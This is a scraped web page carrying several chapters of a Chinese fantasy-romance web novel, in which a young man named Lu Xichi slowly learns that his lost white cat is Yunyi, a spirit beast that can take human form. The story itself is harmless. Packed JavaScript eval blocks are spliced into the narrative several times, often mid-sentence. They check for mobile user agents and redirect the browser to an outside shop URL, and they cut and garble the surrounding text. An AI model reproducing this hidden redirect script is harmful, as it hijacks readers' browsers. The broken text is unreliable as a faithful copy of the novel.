陆熙迟又跑到了那个山坡上,他记忆里被光切断的崖面还在,不远处的草丛里还有一块灰色的的布,他过去看,是他带来的包袱,里面滚落了两只红烛。 山坡上和往日一般安宁,没有半点白色影子,他望着满树红绸的榕树,昨日还蹲在上面的小小身影,今日已不见半点踪迹。 陆熙迟望着深深谷底,心里有一种不好的预感像阴影一样笼罩上来,像是要吞噬掉他最后的一点希望。 云意裹住被子想要下床,左脚却不听使唤地和右脚打架,她还不太适应这副身体。 以前手脚并用的时候,她还游刃有余。如今腿是腿,手是手,腰不知道要往哪里发力才能正常行走,像凡间的小孩儿初学走路一样。 骆玉明把糕点放在外间,见四下无人,又想起陆熙迟今日休息,她推开房门,就看到在陆熙迟床上扭成一团麻花的云意,瞬间睁大眼睛,惊讶地说不出话来。 云意也不曾想到陆熙迟家里还会有别人突然出现,尴尬地缩回去,眼睛哪里都看,就是不看门口的女子。 毕竟是活了这么多年、半截入土的人了,骆玉明很快调整过来,回身关上门,转头开口让自己尽量和缓温柔,暗示自己不要表现得太过惊讶:“这才初春呢,冷吗,我去给你找身衣服。” 云意瞟向自己觉得凉飕飕的地方,被子两边围起来露出的缝隙,从锁骨延伸到大腿,隐隐约约暴露出一些肌肤和起伏。 云意顿感脸上一热,用力合拢显得稍显局促的被子,无措地看向对面的人。 骆玉明安抚地笑笑,“我家就在隔壁,等我去拿,拿上就回来。” 陆熙迟家的隔壁……不就只有张叔家吗? 很快,骆玉明推门进来,手上拿了个衣包,合上门后慢慢走到床边,“这是我回娘家,家中的嫂子给我准备的新衣裳,我还没穿过。一来是觉得花色太艳,二来嘛,现在有更适合它的人需要……” 骆玉明有意地顿在这儿,眼睛别有深意地看着云意,眼含笑意,“不说了,快试试,看看合不合身。” 云意看着那笑,有些不知如何应对。 “这是您的衣服……”云意伸出一只手,把衣包往骆玉明那边推了推。 却不想,因为长时间没开口说话,骤然开口,云意出声有几分沙哑,这下和本就清泠的声音相结合,竟是说不出的暧昧。 骆玉明忽地更坚定了自己的猜测,把打的结扯开,“没事的,现在把它给你了便是你的,你这么水灵,穿上一定好看。” 说着,骆玉明拿起了最上面的朱红交领上襦,递到云意手里,“快换啊,小心着凉。” 说完便关上门在外面等。 云意挑起浅赭白花下裙,下面还有两块雪白织纹的布料,云意看着思索一会儿,不禁意识到这是穿在哪儿的,脸上一热。 良久,云意把叠了几折的雪青色披帛穿过袖子,骆玉明轻轻敲了敲门:“怎么样,穿好了吗?” “嗯!”云意把头发从衣服里捞出来,不甚协调地走到门口把门从里打开,骆玉明看见云意,眼前一亮:“我就说你穿上好看!” 忍不住摸上云意颊边的头发,骆玉明心道陆熙迟真是好福气。 无意间瞥向面前姑娘的颈侧,一抹不甚明显的红痕隐在衣领里,骆玉明皱了皱眉,忍不住怪起陆熙迟,怎么这么不懂怜香惜玉。 云意觉得脖子上有些痒,猜测应该是先前穿抹胸打脖子后面的结时,带子勒到了。 “来,我们坐会儿。”骆玉明牵住云意的手,往里带去,云意走得歪歪扭扭,骆玉明小心扶着,心里把陆熙迟骂了个遍。 待坐在榻上,骆玉明的眼睛一刻不愿从对面的人身上移开。 “要上药吗?疼吗?” 云意不明所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036070|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摇摇头。 “我还不知道你叫什么呢,你们什么时候认识的?” 云意感受着骆玉明身上的温暖,“我叫云意,和陆熙迟……认识不久。” 如果说是以这幅皮囊的话,那她和陆熙迟是今晨才认识的。 骆玉明有些惊讶,“那姑娘家住何方?怎么和他认识的?” 云意想了想,胡诌了个地名,答道:“我是钟山人,来宿州的路上被他救了。” 钟山……骆玉明没听过这个地方,想必离宿州有些远,心下更是偏向云意,这姑娘约莫只有十七八,小小年纪来到这人生地不熟的地方,被陆熙迟欺负了还念着他的好。 陆熙迟现在还不知道跑到哪儿去了!也不知人姑娘家中是否同意他俩的事…… 云意自然不知道对面的人想到哪里去了,只觉得她面善,待人也好。 “云意此番来宿州作何打算?不知父母亲人如今在哪儿,做何营生?” 云意想了想,“我母亲还有族人俱在钟山,平日里……”想起母亲给她摘果子、花蜜的样子,云意继续补充道:“平日里以采摘花果为生。此番来到宿州皆是阴差阳错,我应该很快就回去了,不会在这边留太久。” 骆玉明想她家人难不成是是卖花郎?听到云意说要走,顿时心急,这陆熙迟到底跑到哪里去了,怎么才和人家在一起,这姑娘就说要回家了呢? “我本就不是这边的人,此番还要多谢婶婶,不然我连衣服都没得穿。” 骆玉明听到这儿心神一震,她既称呼自己为婶婶,想必陆熙迟定是和她说起过他的家人朋友了。 “孩子,这有什么。陆熙迟打小母亲就不在身边,我一直将他视如己出,这么多年看着他长大成人,心里一直盼着他有个好归宿。” 云意也盼着他有个好归宿,于是她点点头。 骆玉明见还有希望,脸上一喜,“云意,陆熙迟从小因为父母的关系,性子吧……有时候又犟又臭,也不爱和人说自己的难处,但是孩子是好孩子,为人忠直、诚恳、善良,如果他有哪里对你不好了,你就和婶婶说,我去收拾他!” 云意听这段话有些云里雾里,不知道怎么回复,陆熙迟一直都对她挺好的,只是她不是他希望的样子,只是一只普通小猫。 她是朏朏,她有母亲,是要回家的,不可能当猫待在他身边一辈子。 骆玉明又拉着她说了些有的没的,里里外外都是让云意不要抛下陆熙迟一个人在宿州之意,生怕这要成的亲事被陆熙迟给作弄没。 心里也忍不住怪上陆熙迟:怎么就让人女孩儿这么想离开呢? 还不知道婶婶已经误会了的陆熙迟无功而返,筋疲力尽地推开门,迎面撞上要出去的骆玉明,骆玉明看见他就板起脸:“你跑哪儿去了你?” 陆熙迟看到婶婶回来,“张叔去接您回来的吗?” “你让他去的?” 陆熙迟脸不红、心不跳地说:“哪儿敢,张叔定是发觉自己离不开您,才翻然悔悟。” 骆玉明心下稍解,但想起屋子里面那个漂亮姑娘,眉头一皱,又堆在一起:“你把人姑娘自己一个人就在家里,人姑娘现在想走,你干什么了?” “她想走,您拦着了?” “不然呢?” 见陆熙迟没什么反应,骆玉明更着急了。 “你这话的意思是,她想走就让她走?” 骆玉明有些被气着了,“陆熙迟,你无媒无聘的,你就这么对她,现在还毫无悔过,这么多年我们就是这么教你的?” 骆玉明摔门离开,留下一头雾水的陆熙迟。 他慢慢进去,推门看见云意把那条小春被塞进包袱里,又拿出来,眉头一皱:“你在干什么?” 12. 离开 【忽而又一日,梨花灼灼,今与之相见不过几面,相谈只数句,缘何听其离开之声不敢起身相送?】 ——崇祯五年,正月丙寅,初霁 云意被这突然的出声吓住,怔在原地,这落在陆熙迟眼里就愈发显得心虚。 她本就是要将小春被从包袱里挑出来放好的,没有要将他的东西带走,也不知道他看清楚了没有。 千万别误会了她。 不舍地再看两眼软乎乎的杏色春被,她抚平上面的褶皱,稳当地放在一边。 云意直起身,把骆玉明带来的这块布卷起来系好,背在肩膀上便要往外走。 陆熙迟抬起手拦住:“姑娘去哪儿?” “自然是离开这里。”云意现在发现变成人的好处就是可以直接和陆熙迟表明自己的想法,不用再担心他会驴头不对马嘴地曲解自己的意思。 “这么晚了,姑娘可有去处?” 云意应答自如:“我连夜赶路离开宿州,自是有去处。” 而且她刚刚起来绕着屋子走了几圈,基本掌握了凡人行走的要领,现在她要离开,陆熙迟没有理由再拦着她才是。 毕竟她对于他来说,算得上一个不速之客。 陆熙迟沉吟片刻:“敢问姑娘的家在哪儿?” 云意今天已经被问过一遍了,回答得轻车熟路:“钟山。” 陆熙迟去外间关上门,落了门闩。 云意跟上去看见插上的木条,瞬间明白过来这是陆熙迟不让她走的意思,带着质问地看向陆熙迟。 忽而迎上一双流光漪漪的眼睛,怒目带嗔,陆熙迟不自然地把头转向一边,目光落在窗户上。 他清了清嗓,解释道:“太晚了,走夜路不安全,姑娘今夜先在此将就一晚吧。你睡里屋,我在外间。你若是不放心,可以锁好门窗。” 说完陆熙迟就去了里屋抱了床被子,出来看见那个猫窝停顿一瞬,把被子放在一旁的榻上。 “姑娘。” 很郑重的语气,云意不免抿了抿唇,正色看向他。 “你……来我家的时候,真的没有看到我身边有一只白猫吗?也许不是猫,但通体雪白,与猫长得极其相似。” 原来是这个,云意长舒一口气。 陆熙迟看到那女子摇了摇头,心一沉,一种抓不住、看不见的空落感在心里泛开,竟是像有无边的酸楚。 他缓缓坐下来,脑海中不停闪过猫在碎花垫里滚过的画面,平复片刻,才说:“虽然不知为何姑娘会平白无故出现在我家,但这世上也许就是会发生很多无法解释之事,我昨日也遭遇了一桩……现在想起来,简直匪夷所思……” 想到不便与外人道明这些荒诞怪事,陆熙迟硬生生转了个话头:“姑娘今晨定是被我吓到了,抱歉。” 云意摇了摇头,心想自己没吓到他便不错了。 云意在门口站了半晌,见陆熙迟没有说话的意思,嘀咕了几句。 陆熙迟没听清,抬头望过来:“姑娘方才说什么?” “没什么,没事我就进去了。” 陆熙迟看着她小跑进去,裙摆漪漪,就像夏日荷塘里被风吹翻裙边的荷叶,煞是好看。 那裙摆突然停住,慢慢转了一圈,陆熙迟挑了挑眉,忽地想起烟雨行舟时,漾开一圈圈水边的竹伞。 云意想了想,还是把刚才没说清楚的话复述了一下:“世间生灵各有所志,既然它选择留在山野,你万不能只凭自己的喜好拘着它,兴许它现在很好、很自由。” 不等陆熙迟做出任何反应,云意就合上了门。 希望他别执着了…… 须臾门缝里透出的光突然灭了,陆熙迟枕着小臂,一夜无眠。 夜里像是下起了雨,云意清晨起来感觉风灌进来凉飕飕的。 她昨天盖着别的被子睡的,没敢再动小春被,怕自己会起歹念,也怕自己太过牵挂这里。 凡人的寿岁很短,而他们灵兽的一生却很长。 她不该再耽于凡尘,应早早回家才是。 云意拿上空包袱,拉开门,陆熙迟跪坐在地上,外衣未褪,上半身倚在猫窝边,一条手臂搭在上面。 突然看到这一幕,云意心里五味杂陈。 他只是救了一只连他都说不清是猫还是什么的小动物,而且这个小动物还对他那么爱答不理,为什么对于它的离开,反应会这么大呢? 明明他们已经达成了共识,在山坡上,他已经答应让她走了。 她有些心烦。 云意轻轻走过去拿起榻上的被子,脚步无声,给陆熙迟披上,离得近了才发现,陆熙迟的眼角到鬓边有一条长长的泪痕。 像是湿的覆盖上干的,不知流了多久。 居然掉眼泪…… 云意鬼使神差地伸手过去,指尖一触到他的鼻根,陆熙迟皱了皱眉,似是要醒过来。 她不敢再碰,要立马站起来。 手上却突然被一股力带着踉跄两步,云意跌坐回去。 冰凉的手扣住她的,骨节分明的手严丝合缝地贴在她的指间,竟生出丝丝暖意。 云意心跳忽然漏了一拍,她的手被扯回去,连带着人一起倾向那边。 在梦里,陆熙迟抓住了被子,柔软紧实,紧蹙的眉头渐渐舒展,云意趁机抽回自己的手。 冰凉的触感挥之不去,她甩了甩手,心却止不住地狂跳。 陆熙迟还没有完全睁开眼睛,金色的天光里恍惚中看到一个身影从他面前跑开。 紧接着耳边就传过来一声开门时漏进来的外界喧嚣。 鸟叫、鸡鸣、水打青石…… 他知道这些声音很快就会被关在门外,却还想再听一会儿。 嘎吱—— 门合上了。 陆熙迟的眼睛瞬间清明。 没由来地心慌。 他撑着猫窝站起来,腿麻得动不了。 夜间听到鸡鸣时,天上突然下起了暴雨,他睡在榻上感觉有些凉,不由自主地摸向猫窝,不知不觉中好像闻到了猫的味道,很久很久才舍得睡着。 现下,不知为何,带着苦涩的清香萦绕满怀,支起窗的竹竿昨夜被风雨打落,地上卷进来一片白色花瓣。 撑开窗,满树梨花,落英缤纷。 里屋的门开着,人已经不见了,原来真的不是他的错觉。 被子叠得整整齐齐地放在一边,上面累着那个她好像很喜欢的小春被。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040235|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 雨后初霁,日光正好,他准备把被子晒晒。 抖开小春被,伸展的手指感觉到一股阻碍他用力的拉扯,凝神看去,一根又细又长的头发勾住他的指尖。 陆熙迟把手腕向下,它亦没有掉落。 陆熙迟喉头滚动,紧闭双眼。 心绪又开始不平静起来。 骆玉明正把萝卜片用竹篾穿上,陆熙迟提着年礼来拜访。 她向后他身后看去,空无一人。 “你怎么没把人带过来呢?” 陆熙迟一愣,一时没反应过来:“什么人?” “昨天那个姑娘啊。” 骆玉明坐回去继续将竹条穿过萝卜心,继续说:“云意多好啊,人美、性子也恬静,不弯弯绕绕的,还肯体贴你,若是想清楚了,便由我和老张牵头,给你上门提亲。” 陆熙迟坐下来,看了看角落里舂米的张叔,视线一对上,张叔便自顾自地继续低头干活。 没有得到信息提示,陆熙迟这下更摸不着头脑了,“婶婶,你误会了,我们不是你想的那种关系。” 似是才反应过来,陆熙迟才惊觉自己连人家姓名都不曾问过。 云意…… “不是?” 骆玉明不信。 “我进去的时候,人家那样在你家里面,你说你们不是那种关系?” 骆玉明想起她进去的时候,云意裹着被子不舒服地翻身,看到她时,水灵灵的眼睛噌地一下就变大了,就是她一个女人,心跳也漏了一拍。 陆熙迟不知想起了什么,耳朵一下就红了,骆玉明盯着陆熙迟羞赧地表情,心里也有了数,把一片萝卜穿进竹环里,“还说没有!” 陆熙迟过往二十年,从没和女子单独相处过,猫倒是有一只,不过也跑了。 “她已经走了。” “什么?” 张叔被骆玉明的惊呼激得手上一抖,石杵重重落在捣筒里,迸发出一声闷响,顿时惊飞一片鸟鸣。 “你是不是把她赶走了?陆熙迟,你怎么能始乱终弃呢,这才处了多久,你就把人家撵走了!” “陆熙迟,做人可得讲良心,昨天人姑娘还和我说,说你的好,说你陆熙迟重情重义,今天你就把人赶走了!你当真好!” 陆熙迟突然反应过来,有一根弦无声在脑子里绷住,急切地问:“她说我的名字了?” “你别扯那些有的没的。” 张叔帮骆玉明拍着背顺气,嘴上做着嘴型,让他说点软话,赶紧走人。 陆熙迟根本不看。 他现在只关心一个问题:“她说我名字之前,你告诉她我的名字了吗?” 骆玉明见他认真在问,也不免顺着他的问题去回想。 “没有吧……人家提你名字怎么了?知道你名字不是很正常?” “您确定?”陆熙迟感觉心被扯紧了,有什么东西好像离他很近又很远,在眼前却始终抓不住。 “记不清了,可能是吧。” 陆熙迟知道再问也问不出什么,但他现在就是有一种确切的感觉,一个快要浮出水面的答案就等着他去找。 陆熙迟腾地跑出去,“多谢婶婶,我会把她找回来的!” 13. 坠落 【沉兮,沉兮,渐生幻象,吾生之尽乎?】 ——崇祯五年,正月己卯日,细雨斜风 陆熙迟很吓人。 这是云意经过郑重思考后得出的结论。 因为受到惊吓,以至于云意恍惚间走了很久,以为离开了很远,抬头才发现居然只是到了那天的山坡。 无奈叹息,正欲折返,无意间瞥见了令她意想不到的一幕——祠庙里的猫神像竟然转了方向。 原本正对着世人的神像背过身去,现下只能看到一个背影,长长滚滚的尾巴蜿蜒往上,其中遍布斑驳的蛛网和碎尘。 族长说过,凡间在神像的供奉上很是讲究,若稍有差池,在向来崇尚正衣冠、讲礼节的凡人心目中则意味着怠慢了神像,可视为对神尊的大不敬,会有不好的兆头。 轻则祈愿失灵,重则将会遭受神明降下人间的天罚。 云意虽然不知这天罚为何,但她推测既然凡人在供奉神位这件事上的态度慎之又慎,那就不会有凡人冒着遭受天谴的风险去扭转神像。 何况这猫只司掌凡猫的福祸安危,与人无关。 那就不是普通凡人做的了。 心下一动,云意催动掌中法力,使神像缓缓转过来回正,石塑贴着底下的石砖摩擦,几声沉闷的拖拽旋转拉长,最终咔嗒一声合正。 很快,灵波流转间,一只金色的猫从石塑里跳出来,围着她转了两圈,似乎在打量她,鼻头轻嗅,像是闻到了熟悉的味道,亲昵地蹭了蹭她裙摆。 “居然真的是是朏朏大人呀!” 那猫貌似很喜欢她,声音都不由自主地开始夹起来。 “那天您来的时候,我就觉得气味不一般,但当时还不敢确认,现下却是万般肯定了。” “为何?” “因为族长说过,朏朏大人身上会有一种甜香,只有我们猫才能闻出来。但那天您身上的气息太微弱了,我嗅得不大真切,所以没敢贸然认您。” 其实长老说的是,只要他们猫一靠近朏朏,体内的灵力就会源源不断地开始增长。 但是琉玉不想让朏朏大人觉得自己是为了增长灵力才靠近她的,给她留下不好的印象,所以就没有说明其中缘由。 云意听这像是三岁孩童的声音,总是尾音拉长、语气亲昵,有些不适应。 他的尾巴轻轻扫过她的裙摆,脸颊一直蹭着上面的印花,像猫扑进了花丛里。 “好多好多年不曾听闻你们现世的消息,我还以为长老说我们两族有亲缘关系是诓我们这些小辈的呢,没想到是真的!” 朏朏大人真的和他们长得好像啊! “大人大人,这么多年你们都去哪儿了?” 千年前,灵族面临覆灭的危险,一度被其他三界联合绞杀了近五族的上古神兽。 凡人想吃神兽的肉以长生不老;魔界则多用神兽炼丹,借此提升修为;仙界想让神兽臣服,永远为之所趋使。 灵界内众多上古神兽折损在这场战役中。朏朏一族也因此归隐山林,永不出世。 狸猫一族多分支,历经千年,早已演化成不同形态分散于三界。 说来也真是世事无常,千年前大肆捕杀灵兽的凡人不会料到,多年以后,他们的后辈会对狸猫卑躬屈膝,只求狸猫舍于他们一个注意的眼神。 更不会想到凡间会开始供奉猫的神像,还栽了一棵为之庇荫的榕树。 云意蹲下和它保持平视,猫圆溜溜的大眼睛忽闪忽闪地看着她:“大人可是有什么事想交代我?” “我问你,你可知那天的晴天降雷是怎么回事?” 猫想了想,猫不知道。 “我的品级太低了,充其量算个地仙。但观那法相,应是……” 它抬起爪子指了指天上。 “那为什么要杀一个凡人?” 还用这么残忍的术法。 “他……”猫被迫收住口。 那天从陆熙迟身上下来的人给它施了禁止符,它没有办法透露任何信息给外界,强行破除的话,会元神烬灭。 它难过地摇了摇头。 云意本也不指望这么简单就能问出来。 “那救我们的人呢?你知道是谁吗?” 猫咬牙切齿地摇了摇头。 不能帮到狸猫一族大恩人的后代,它十分愧疚,也没办法透露更多,它恼怒地回到雕塑里。 云意面前的猫突然金光闪烁,一息之间便消散了。 猫虽然没说,但眉眼间俱是为难的样子,想必是有人不让它说。 总会知道的。 风起,一条红绸从树上脱离,和风纠缠几圈,卷进她的怀里。 云意翻折过来,是墨迹已经散开的祈福带。 今晨下的雨,打湿了树上红绸的所有墨色。 陆熙迟跑出来没有再看到人,想她是不是直接回家去了,和镇上的人打听,没有人知道钟山在哪里。 再去猫神祠,他上次转不动的神像居然被转回来了。 想必这里肯定不止他一个信徒,陆熙迟想到这里,难掩激动,居然会盼望着和这人见一面。 半月过去,云意到了雲州边上的一个镇子,毗邻宿州,离陆熙迟已经很远了。 一路南行,云意片刻不曾停歇,只偶尔看看人间是否有什么有意思的东西可以给娘亲带回去。 不知道离家这么久,娘亲有没有想过自己…… 她去找过她突然失踪的女儿吗? 她不知道答案。 肩膀上的空包袱被她一点点填满,山上休息时摘的野果子,还有凡界姑娘梳妆时会用的簪子、耳铛,习惯佩戴于腰间的香囊,她瞧着皆是娘会喜欢的。 她见过娘亲化形,明媚又艳丽,一双凤眼碧波流转,眉如弯月,身段纤细高挑,和平时规训她时所表现出的严厉完全不同。 兴许是为了保持住在她面前的威严,娘亲极少化成人形。 族里的其他人平时皆是以朏朏的面目示人,不轻易将人形显露人前。 云意在凡间的这半个月,也逐渐明白了人间的一些规矩。 比如人和其他人交换物品是用一种叫做铜板的东西,其实和他们灵界大差不差,只是他们灵界是用灵石而已。 而要循着人间的法子来合理获得铜板,要么出卖劳力,要么和别人幻哪啊想要的物品。 云意到宿州边境的时候把自己从山上采的灵芝拿出来,刚学着别人在地上把包袱打开,就有人来问价。 云意学着旁边卖玉石的,喊价五千文。 那人顿时拉下脸走了。 她估摸着自己出价太高,第二个来问的时候,她看旁边的人和别人说的价格变低了,她便跟着喊:“3000文。” 对面的人端详片刻,还是买了。 云意第一次拿到这么多钱,沉甸甸的铜板足足装了三个大荷包。 不过她很快反应过来不对劲。 身后有人一直跟着她。 云意很怕是人间的道士,她在话本里看过,这类人专门揭开各种妖精鬼怪的真面目。 她虽然是神兽,但化形来之不易。 不能被识破身份。 云意快步闪进一个巷子,捏了个诀,几个追上来的凡人就看不见她了。 于是云意看到刚刚向她采买灵芝的凡人气急败坏地从巷子的另一头拐出来,骂骂咧咧说了句什么。 云意仔细去分辨,好像说的是:连一个女的都追不上,还和我吹你们还是忠武行最好的打手…… 后面云意没再听,反正不是道士就好了。 不久后云意回过味来,那人应是负责采买高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然一声厚重的闷响,巨大的水花迸溅到陆熙迟脸上。 衣服瞬间湿透。 来时还衣裳鲜亮的人此时就像鱼苗一般落入水中顿时不见。 有几个会水的冒出水面,其他的人自沉入水中就没有动静了。 恨不能再快点,看见那条有孩子在的小船被水花激得不停起伏,孩子滚落进水里,他把船划得近了,用绳子绑住自己的腰便跳下去。 黑沉的水里看不清情形,他捞起一块黑影,又重又沉,奋力游出水面,把他推上船才发觉对方已然没了呼吸。 陆陆续续听到跳水的扑通声,他一看,四周围上来若干条小船,水里不断有人被救上来。 陆熙迟再次潜下去,比刚刚更浑浊的水色混杂着淤泥,更看不清了。 不知游了多久,他才看到一个比较瘦小的身影悬在水中,污浊的水色包裹在他周围。 他奋力游过去,腰间一紧,巨大的力量把他往回拽。 试了试再往前游,反而被拽得离那个小小的身影越来越远。 心一横,他解下腰上的绳子,再往前游一点,再游一点。 他惊急地再往更深处去探,终于抱住他。 已经没有温度了。 巨大的阴影覆上,见躲避不及,陆熙迟不再游动,把已经僵硬的孩子抱在怀里,头护住他的。 一个夹板打落过来。 长久的窒气瞬间破空。 他失去控制地下沉。 在彻底失去意识前,一个白色影子在泡沫湮灭的地方出现,乍然浮现在他面前,从一个小点越来越大。 是人吗? 怎么越看越像他的猫…… 14. 发现 【狸猫可为人乎?其定胜人多矣。】 崇祯五年,正月庚辰日,晴光气冷 云意在朱雀街忽闻椿江上的画舫沉了。 她被人群推搡着到码头。 船身已然倒塌,几条小船翻了身滚落一边,直到第一个人被救起来,周围的轻舟才相继向画舫靠拢,不少人赤膊上阵,翻进水里去救落难的人。 云意从人群里悄无声息离开,绕到码头旁边人少的那一面,催动灵力,双手搭在一起交叉翻转结了个印,水蓝色的光波梗横亘江面。 一时间,江面突然涌出许多沉下去的人。 唯独一条船,只有一根绳子孤零零地漂在水面上,轻飘飘的没有动静。 “刚那个兄弟呢?”一个光着膀子的大汉捞起这条绳子,不死心地一点点拉到尽头。 那头的人不见了。 不再看那边死寂的场面,云意跃入水中,闭气诀可以支撑她在水里畅通无阻两个时辰,她不消片刻便到了沉没的画舫附近。 水中有许多木板上浮,水里模糊不清,乍一看像是大大小小的黑影。 她继续往深处游,碎木块迅速向上浮,待到一处停下来,云意惊诧地看向面前悬在水里的人。 陆熙迟。 他怎么会在这里? 而且他在以一种极不自然的样子在水里弓下腰蜷缩着。 云意游上前,拉住他的手腕,轻轻扒开,想让他舒服一点。 一个双眼紧闭、脸色苍白的孩童在他的臂弯下露出一点脸。 那张稚嫩的脸带着死亡气息的安宁。 不曾想陆熙迟竟是用身体在拼命保护一个孩子。 一个……已然没了呼吸的孩子。 云意拉着陆熙迟和这个不过五六岁大的孩童,催动灵力,一层几乎透明水膜屏障隔绝了他们和江水,很快,他们到达码头的另一侧,柳枝繁茂的树荫下。 湿淋淋的陆熙迟倒在泛着青茬的草里,孩子歪倒在他身上。 云意把孩子轻轻扶起倒向另一边,拉起孩子垂落在一边的手,冰冷的手掌抓在手里好似柔若无骨,她不敢重了,只虚虚地捧着,一点一点地灌灵力。 间隙用念力捏了个诀,两块小而钝的石头交替着上下捶打陆熙迟的胸口。 不一会儿,他便呛出几口水。 余光瞥向陆熙迟,柳枝缝隙里的光斑扫过他的眼睛,陆熙迟不自在地皱了皱眉。 他应是没事的。 这孩子的手还是很凉,云意输进去的灵力像是全部都投进了无底洞里,没有半分作用。 别无他法,云意划破指尖,暗红的血汩汩流出,她抵住那孩子微微僵冷的唇,伤口上的血从他微微张开的嘴巴缝里流进去。 圆圆的脸不消片刻便红润了,嘴唇也变得粉嫩,长长的睫毛开始翕动。 半梦半醒间,陆熙迟好像看到了那个出现在他家的姑娘。 她跪坐在一旁低着头,神色专注地看着地上的某处,视线太模糊,他看不清楚,但能感觉到她没有注意到他这里。 长发纤纤,裙带飘飘,就像画里走出来的人。 耳侧突然随风传来一阵难受的喘息。 他想要凝神去看,眼前却始终很迷蒙,像隔了一层雾。 跪坐着的人垂下头,上半身伏低,碎花的裙摆层层叠叠堆在她膝弯处,像一朵捧住花蕊的花。 他用力撑着自己坐起来。 甩了甩发昏发胀的脑袋,再去看—— 只剩下衣裳了。 衣裳里面却空了,垂落在地,松松散散地堆成一团。 陆熙迟顿时清醒了。 试探着伸手去触到那衣服的一角,软软滑滑的,指尖过处扫过一种细腻的余温。 刚刚……真的有人在这里,他看到了的。 可是现在人在哪里? 为什么只有衣服在这里? 陆熙迟费力站起来,扫了周围一圈,只除了地上那个孩子,四下寂静无人。 目光转向江面,先前沉船的地方现在只剩下几条小船在打捞木板。 但这里隔得太远,他看不真切,他的船竟是不知道被划去哪儿了。 往水边行几步,陆熙迟还是看不到他先前停船的地方,望向那团无主的衣服,陆熙迟顿感茫然又匪夷所思地站在那里。 如果他再向下看,就能看见紧紧趴在石墙上的云意。 白绒绒的、小小的、耳根还有粉色的毛……正颤抖着极力收束着耳朵不让陆熙迟发现。 云意也不知道怎么会突然变回原型。她自从变成人后,再也没回到过朏朏的形态。 方才她给孩子喂血的时候,突感一阵恍惚,似乎再坚持下去,就会血脉逆行。 但孩子毫无起色,她不能收手。 到真的要变回原型的时候,陆熙迟醒了。 几乎是下意识的,她立刻蹿到岸边,不想让陆熙迟看到。 熟悉的痛觉袭来,藤毒发作了。 云意踩在石壁凸起的一块小尖石上,腿上无力,隐隐有站不住的趋势。 突感头上一片阴影盖过,本就感到稀薄的阳光瞬间没了最后一点温暖,她以为天阴了,抬头去看,对上一双瞳孔微缩的眼睛。 陆熙迟的确很震惊,他怎么也想不明白这小家伙怎么会在这儿。 宿州到雲州,千里之遥。 别说是一只猫了,就算是比它更大些的,怎么可能在这么短的时间内走陆路过来。 云意看到他目光中毫不掩饰的惊讶,更不知所措。 一下子被捞起来,云意被抱在他的臂弯里,又被缓缓放下。 陆熙迟看见这只小白猫把自己埋进衣服里,堆在地上的衣服鼓起一团,颤抖不止。 它好像很难受。 是不是来的路上出了什么事?还是又受伤了? 尽管心存诸多疑惑,陆熙迟还是忍着乱序的呼吸上前,轻轻揭开那层衣服。 耳朵骤然露出,云意把尾巴含在牙关咬紧的动作不得不停下,缓解疼痛的法子没了,她止不住地颤栗。 耳朵极力向下撇,她试图用这样的方式盖住自己。 怎么办……还是被陆熙迟发现了…… 他会察觉到吗?会觉得她是怪物吗……会怕她吗? 他会……杀她吗? 可是刚刚灵力损耗太多,藤毒提前发作了,她没办法把自己变走,也没办法隐身。 她无法保护自己。 她甚至不能在陆熙迟做出其他动作前,停止自己想象他冰冷、害怕、厌恶的目光。 “你是它吗?” 陆熙迟觉得,眼前的小猫让他既熟悉又陌生。 它仿佛……害怕自己。 他不得不带着颤抖的声音小心翼翼地去确认,面前的这个不愿看他的小家伙是不是他想了很久的那只。 过了很久,陆熙迟一眼不错地看着这颗毛绒绒的后脑勺,心跳渐渐平复下来,却也紧张地在期望,这颗头能动一下,转向他。 可是它还是把脸紧紧埋进尾巴里,不愿抬头看他。 你是她吗? 云意忍着痛,双目紧闭,压住喉咙不让自己发出一点痛吟。 他是在问她是不是可以变成人的妖怪吗? 还是在确认她会不会还有余力攻击他? 云意能感觉到身上如有实质的目光,确切的、不容忽视的,寒凉刺骨。 陆熙迟知道,一定是它。 可它为什么不愿意看见自己? 他的目光落到被白爪子踩住的衣服上,心神一震。 上一次,猫不见,姑娘突然出现。 这一次,姑娘凭空消失,猫又出现。 脑袋里有一个不可能的想法喧嚣着它的可能:一直都是她。 猫是她。 可是,猫怎么会变成人呢? 不知道该害怕还是惊讶,陆熙迟看到它难受地抱成一团,心还是会紧促地跳动。 他知道,这不是因为害怕和惊吓,是难过,是不由自主的疼惜和着急。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 